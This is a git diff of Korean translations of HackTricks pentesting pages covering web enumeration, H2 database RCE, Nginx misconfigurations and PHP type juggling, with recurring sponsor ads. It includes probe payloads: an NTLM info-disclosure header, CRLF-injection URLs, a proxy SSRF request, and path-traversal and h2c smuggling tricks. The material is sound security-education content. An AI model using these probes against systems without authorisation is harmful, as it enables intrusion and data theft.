* **.env**를 발견하면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
|
||||
* **API 엔드포인트**를 발견하면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼" 보일 것입니다.
|
||||
* **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링**하는 것도 흥미로울 것입니다. 어떤 경우에는 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
|
||||
* 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인하여 취약한지 확인해야 합니다.
|
||||
* **자바스크립트 디오브스큐레이터 및 언패커:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **자바스크립트 뷰티파이어:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck 디오브스큐에이션** (문자와 함께 자바스크립트: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck deobfuscation** (문자와 함께 자바스크립트: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* 여러 경우에 **정규 표현식**을 이해해야 할 필요가 있습니다. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com)
|
||||
* 여러 경우에 **사용된 정규 표현식**을 이해해야 할 필요가 있습니다. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com)
|
||||
* **양식이 감지된 파일을 모니터링**해야 하며, 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
|
||||
|
||||
**403 금지/기본 인증/401 권한 없음 (우회)**
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
{% content-ref url="403-and-401-bypasses.md" %}
|
||||
[403-and-401-bypasses.md](403-and-401-bypasses.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**502 프록시 오류**
|
||||
**502 Proxy Error**
|
||||
|
||||
어떤 페이지가 **코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근하려고 시도**하며, 이로 인해 SSRF를 발견하게 됩니다.
|
||||
어떤 페이지가 **이 코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 SSRF를 발견하게 됩니다.
|
||||
|
||||
**NTLM 인증 - 정보 공개**
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 찾으면 **정보 공개**를 유발할 수 있습니다.\
|
||||
**헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
|
||||
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 **자동화**할 수 있습니다.
|
||||
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 발견하면 **정보 유출**을 유발할 수 있습니다.\
|
||||
**헤더**를 **보내십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
|
||||
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 자동화할 수 있습니다.
|
||||
|
||||
**HTTP 리디렉션 (CTF)**
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
**리디렉션** 내에 **내용**을 **넣는 것이 가능합니다**. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하기 때문입니다) 그러나 그 안에 **숨겨진** 것이 있을 수 있습니다.
|
||||
**리디렉션** 내에 **내용**을 **넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하기 때문) 하지만 그 안에 **숨겨진** 것이 있을 수 있습니다.
|
||||
|
||||
### 웹 취약점 확인
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로 이제 많은 가능한 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다:
|
||||
|
||||
|
@ -353,17 +355,19 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견
|
|||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### 변경 사항에 대한 페이지 모니터링
|
||||
### Monitor Pages for changes
|
||||
|
||||
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 취약점을 삽입할 수 있는 수정 사항을 모니터링할 수 있습니다.
|
||||
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 페이지의 수정 사항을 모니터링하여 취약점을 삽입할 수 있습니다.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필요_).
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
### HackTricks 자동 명령
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
@ -442,7 +446,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,25 +1,29 @@
|
|||
# H2 - Java SQL 데이터베이스
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
공식 페이지: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
||||
|
||||
## 접근
|
||||
|
||||
**유효한 자격 증명 없이 새 데이터베이스를 생성하기 위해 존재하지 않는 데이터베이스 이름을 지정할 수 있습니다** (**인증되지 않음**):
|
||||
**유효한 자격 증명 없이 새로운 데이터베이스를 생성하기 위해 **존재하지 않는 데이터베이스 이름**을 지정할 수 있습니다** (**인증되지 않음**):
|
||||
|
||||
![](<../../.gitbook/assets/image (131).png>)
|
||||
|
||||
|
@ -35,7 +39,7 @@ H2 데이터베이스와 통신할 수 있는 접근 권한이 있다면, RCE를
|
|||
|
||||
## H2 SQL 인젝션을 통한 RCE
|
||||
|
||||
[**이 게시물**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)에서는 **SQL 인젝션**을 악용하여 **H2 데이터베이스를 통한 RCE**를 얻기 위한 페이로드가 설명됩니다.
|
||||
[**이 게시물**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)에서는 **SQL 인젝션**을 악용하여 **H2 데이터베이스를 통한 RCE**를 얻기 위한 페이로드가 설명되어 있습니다.
|
||||
```json
|
||||
[...]
|
||||
"details":
|
||||
|
@ -46,6 +50,10 @@ H2 데이터베이스와 통신할 수 있는 접근 권한이 있다면, RCE를
|
|||
},
|
||||
[...]
|
||||
```
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -56,7 +64,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**즉시 사용 가능한 취약점 평가 및 침투 테스트 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
## 누락된 루트 위치 <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
|
||||
Nginx 서버를 구성할 때, **root 지시어**는 파일이 제공되는 기본 디렉토리를 정의함으로써 중요한 역할을 합니다. 아래 예를 고려하세요:
|
||||
Nginx 서버를 구성할 때, **루트 지시어**는 파일이 제공되는 기본 디렉토리를 정의함으로써 중요한 역할을 합니다. 아래 예를 고려하세요:
|
||||
```bash
|
||||
server {
|
||||
root /etc/nginx;
|
||||
|
@ -100,7 +102,7 @@ location / {
|
|||
return 302 https://example.com$uri;
|
||||
}
|
||||
```
|
||||
HTTP 요청에서 \r (캐리지 리턴) 및 \n (라인 피드) 문자는 새 줄 문자를 나타내며, 이들의 URL 인코딩 형태는 `%0d%0a`로 표현됩니다. 잘못 구성된 서버에 이러한 문자를 포함한 요청(예: `http://localhost/%0d%0aDetectify:%20clrf`)을 보내면 서버는 `Detectify`라는 새 헤더를 발급합니다. 이는 $uri 변수가 URL 인코딩된 새 줄 문자를 디코딩하여 응답에 예상치 못한 헤더가 포함되기 때문입니다:
|
||||
HTTP 요청에서 \r (Carriage Return) 및 \n (Line Feed) 문자는 새 줄 문자를 나타내며, 이들의 URL 인코딩 형태는 `%0d%0a`로 표현됩니다. 잘못 구성된 서버에 이러한 문자를 포함한 요청(예: `http://localhost/%0d%0aDetectify:%20clrf`)을 보내면 서버는 `Detectify`라는 새 헤더를 발급합니다. 이는 $uri 변수가 URL 인코딩된 새 줄 문자를 디코딩하여 응답에 예상치 못한 헤더가 포함되기 때문입니다:
|
||||
```
|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
Server: nginx/1.19.3
|
||||
|
@ -117,9 +119,9 @@ CRLF 주입 및 응답 분할의 위험에 대해 더 알아보려면 [https://b
|
|||
* `https://example.com/%20X` - 모든 HTTP 코드
|
||||
* `https://example.com/%20H` - 400 잘못된 요청
|
||||
|
||||
취약한 경우, 첫 번째는 "X"가 모든 HTTP 메서드이므로 반환되고, 두 번째는 H가 유효한 메서드가 아니므로 오류가 반환됩니다. 따라서 서버는 `GET / H HTTP/1.1`과 같은 것을 수신하게 되고, 이는 오류를 유발합니다.
|
||||
취약한 경우, 첫 번째는 "X"가 모든 HTTP 메서드이므로 반환되고, 두 번째는 H가 유효한 메서드가 아니므로 오류를 반환합니다. 따라서 서버는 다음과 같은 것을 받게 됩니다: `GET / H HTTP/1.1` 이로 인해 오류가 발생합니다.
|
||||
|
||||
또 다른 탐지 예는 다음과 같습니다:
|
||||
또 다른 탐지 예제는 다음과 같습니다:
|
||||
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - 모든 HTTP 코드
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 잘못된 요청
|
||||
|
@ -146,19 +148,19 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||
```
|
||||
### Any variable
|
||||
|
||||
**사용자 제공 데이터**가 특정 상황에서 **Nginx 변수**로 처리될 수 있음이 발견되었습니다. 이 행동의 원인은 다소 불분명하지만, 드물지 않으며 검증하기도 간단하지 않습니다. 이 이상 현상은 HackerOne의 보안 보고서에서 강조되었으며, [여기](https://hackerone.com/reports/370094)에서 확인할 수 있습니다. 오류 메시지에 대한 추가 조사는 [Nginx 코드베이스의 SSI 필터 모듈](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) 내에서 발생하는 것을 확인하였으며, 서버 사이드 포함(SSI)이 근본 원인으로 지목되었습니다.
|
||||
**사용자 제공 데이터**가 특정 상황에서 **Nginx 변수**로 처리될 수 있다는 것이 발견되었습니다. 이 행동의 원인은 다소 불분명하지만, 드물지 않으며 검증하기도 간단하지 않습니다. 이 이상 현상은 HackerOne의 보안 보고서에서 강조되었으며, [여기](https://hackerone.com/reports/370094)에서 확인할 수 있습니다. 오류 메시지에 대한 추가 조사는 [Nginx 코드베이스의 SSI 필터 모듈](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) 내에서 발생하는 것을 확인하게 되었으며, 서버 사이드 포함(SSI)이 근본 원인으로 지목되었습니다.
|
||||
|
||||
이 **잘못된 구성**을 **탐지**하기 위해, 다음 명령을 실행할 수 있으며, 이는 변수 출력을 테스트하기 위해 referer 헤더를 설정하는 것을 포함합니다:
|
||||
이 **잘못된 구성**을 **탐지하기 위해**, 다음 명령을 실행할 수 있으며, 이는 변수 출력을 테스트하기 위해 referer 헤더를 설정하는 것을 포함합니다:
|
||||
```bash
|
||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||
```
|
||||
이 잘못된 구성에 대한 스캔 결과, 사용자가 Nginx 변수를 출력할 수 있는 여러 인스턴스가 발견되었습니다. 그러나 취약한 인스턴스의 수가 감소한 것은 이 문제를 패치하기 위한 노력이 어느 정도 성공적이었다는 것을 시사합니다.
|
||||
이 잘못된 구성에 대한 스캔 결과, 사용자가 Nginx 변수를 출력할 수 있는 여러 사례가 발견되었습니다. 그러나 취약한 인스턴스의 수가 감소한 것은 이 문제를 패치하기 위한 노력이 어느 정도 성공적이었다는 것을 시사합니다.
|
||||
|
||||
## 원시 백엔드 응답 읽기
|
||||
|
||||
Nginx는 `proxy_pass`를 통해 백엔드에서 생성된 오류 및 HTTP 헤더를 가로채는 기능을 제공하여 내부 오류 메시지와 헤더를 숨기도록 설계되었습니다. 이는 Nginx가 백엔드 오류에 대한 사용자 정의 오류 페이지를 제공함으로써 이루어집니다. 그러나 Nginx가 잘못된 HTTP 요청을 처리할 때 문제가 발생합니다. 이러한 요청은 수신된 대로 백엔드로 전달되며, 백엔드의 원시 응답은 Nginx의 개입 없이 클라이언트에게 직접 전송됩니다.
|
||||
|
||||
uWSGI 애플리케이션과 관련된 예시 시나리오를 고려해 보십시오:
|
||||
uWSGI 애플리케이션을 포함한 예시 시나리오를 고려해 보십시오:
|
||||
```python
|
||||
def application(environ, start_response):
|
||||
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
|
||||
|
@ -183,11 +185,11 @@ proxy_hide_header Secret-Header;
|
|||
|
||||
이러한 위험을 완화하기 위해, 이러한 취약점에 취약한 애플리케이션에 대해 **`merge_slashes` 지시어를 끄는 것이 권장됩니다**. 이는 Nginx가 URL 구조를 변경하지 않고 애플리케이션에 요청을 전달하도록 보장하여 기본적인 보안 문제를 숨기지 않도록 합니다.
|
||||
|
||||
자세한 내용은 [Danny Robinson과 Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)를 확인하세요.
|
||||
자세한 정보는 [Danny Robinson과 Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)를 확인하세요.
|
||||
|
||||
### **Maclicious Response Headers**
|
||||
|
||||
[**이 글**](https://mizu.re/post/cors-playground)에서 보여준 바와 같이, 웹 서버의 응답에 존재하는 특정 헤더는 Nginx 프록시의 동작을 변경합니다. 이들을 [**문서에서 확인할 수 있습니다**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
[**이 글**](https://mizu.re/post/cors-playground)에서 보여준 바와 같이, 웹 서버의 응답에 존재하는 특정 헤더는 Nginx 프록시의 동작을 변경합니다. 이들을 [**문서에서 확인**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)할 수 있습니다:
|
||||
|
||||
* `X-Accel-Redirect`: Nginx가 요청을 지정된 위치로 내부 리디렉션하도록 지시합니다.
|
||||
* `X-Accel-Buffering`: Nginx가 응답을 버퍼링할지 여부를 제어합니다.
|
||||
|
@ -195,7 +197,7 @@ proxy_hide_header Secret-Header;
|
|||
* `X-Accel-Expires`: X-Accel-Redirect를 사용할 때 응답의 만료 시간을 설정합니다.
|
||||
* `X-Accel-Limit-Rate`: X-Accel-Redirect를 사용할 때 응답의 전송 속도를 제한합니다.
|
||||
|
||||
예를 들어, 헤더 **`X-Accel-Redirect`**는 Nginx에서 내부 **리디렉션**을 발생시킵니다. 따라서 **`root /`**와 같은 Nginx 구성이 있고 웹 서버의 응답에 **`X-Accel-Redirect: .env`**가 포함되면 Nginx는 **`/.env`**의 내용을 전송하게 됩니다 (경로 탐색).
|
||||
예를 들어, 헤더 **`X-Accel-Redirect`**는 Nginx에서 내부 **리디렉션**을 유발합니다. 따라서 **`root /`**와 같은 Nginx 구성이 있고 웹 서버의 응답에 **`X-Accel-Redirect: .env`**가 포함되면 Nginx는 **`/.env`**의 내용을 전송하게 됩니다 (경로 탐색).
|
||||
|
||||
### **Map Directive의 기본값**
|
||||
|
||||
|
@ -232,13 +234,13 @@ resolver 8.8.8.8;
|
|||
|
||||
## proxy\_set\_header Upgrade & Connection
|
||||
|
||||
nginx 서버가 Upgrade 및 Connection 헤더를 전달하도록 구성된 경우 [**h2c Smuggling 공격**](../../pentesting-web/h2c-smuggling.md)를 수행하여 보호된/내부 엔드포인트에 접근할 수 있습니다.
|
||||
nginx 서버가 Upgrade 및 Connection 헤더를 전달하도록 구성된 경우, [**h2c Smuggling 공격**](../../pentesting-web/h2c-smuggling.md)을 수행하여 보호된/내부 엔드포인트에 접근할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 취약점은 공격자가 **`proxy_pass` 엔드포인트와 직접 연결을 설정할 수 있게 합니다** (`http://backend:9999`의 경우) 이 콘텐츠는 nginx에 의해 확인되지 않습니다.
|
||||
{% endhint %}
|
||||
|
||||
`/flag`를 훔치기 위한 취약한 구성 예시: [여기](https://bishopfox.com/blog/h2c-smuggling-request)에서 확인하세요.
|
||||
`/flag`를 훔치기 위한 취약한 구성의 예는 [여기](https://bishopfox.com/blog/h2c-smuggling-request)에서 확인할 수 있습니다:
|
||||
```
|
||||
server {
|
||||
listen 443 ssl;
|
||||
|
@ -286,7 +288,9 @@ Nginxpwner는 일반적인 Nginx 잘못된 구성 및 취약점을 찾기 위한
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약성 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -15,9 +15,13 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 쿠키의 일반적인 위치:
|
||||
|
||||
|
@ -39,7 +43,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### 느슨한 비교/타입 조작 ( == )
|
||||
|
||||
`==`가 PHP에서 사용되면, 예상치 못한 경우에 비교가 예상대로 작동하지 않습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 `===`를 사용해야 합니다.
|
||||
`==`가 PHP에서 사용되면, 비교가 예상과 다르게 동작하는 예외적인 경우가 있습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지도 비교하고 싶다면 `===`를 사용해야 합니다.
|
||||
|
||||
PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -48,13 +52,13 @@ PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://ww
|
|||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 같습니다.
|
||||
* `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 숫자가 동일할 경우 다른 숫자/문자열과 True로 비교될 수 있습니다 (문자열의 숫자는 숫자로 해석됩니다).
|
||||
